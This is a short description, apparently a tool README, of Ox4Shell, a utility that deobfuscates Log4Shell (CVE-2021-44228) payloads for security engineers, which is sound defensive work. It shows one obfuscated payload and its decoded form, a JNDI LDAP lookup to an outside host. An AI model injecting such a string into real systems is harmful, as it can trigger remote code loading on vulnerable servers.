Ox4Shell - Deobfuscate Log4Shell Payloads With Ease

Deobfuscate Log4Shell payloads with ease.

Description

Since the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.

This tool intends to unravel the true contents of obfuscated Log4Shell payloads.

For example, consider the following obfuscated payload:

${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}

After running Ox4Shell, it would transform into an intuitive and readable form:

${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}

This tool also aids to identify and decode base64 commands For example, consider the following obfuscated payload: …

deobfuscation deobfuscator log4shell oxeye